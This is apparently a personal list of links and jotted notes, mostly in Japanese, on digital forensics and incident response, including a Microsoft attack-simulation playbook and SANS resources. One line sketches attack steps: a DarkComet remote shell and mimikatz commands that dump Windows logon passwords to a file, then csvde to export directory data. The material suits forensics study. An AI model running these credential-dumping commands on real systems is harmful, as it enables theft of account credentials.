https://docs.microsoft.com/ja-jp/enterprise-mobility-security/solutions/ata-attack-simulation-playbook

Defaultgateway Darkcomet RemoteShell ipconfig→192.168.0.XXXADSVのAdminPasswd mimikatzを/にsend privilege::debug sekurlsa::logonpasswords exit >> ~tmp/victim.txt csvde.exe -ur -f -b administrator datafusioncenter.local リモートマシンで起動…

https://www.aguse.jp/http://www.iphiroba.jp/ip.php

https://digital-forensics.sans.org/blog/2011/12/07/digital-forensic-sifting-super-timeline-analysis-and-creation

http://dev.classmethod.jp/study_meeting/volatility-framework/

https://digital-forensics.sans.org/media/poster_2014_find_evil.pdf

http://blog.amedama.jp/entry/2017/08/09/004706

https://crackstation.net/

https://www.ultimatewindowssecurity.com/

http://kira000.hatenadiary.jp/entry/2014/04/12/022801

https://technet.microsoft.com/ja-jp/sysinternals/bb842062

https://www.nomoreransom.org/crypto-sheriff.php?lang=ja

http://npnl.hatenablog.jp/entry/20080412/1207965105

http://www.nirsoft.net/utils/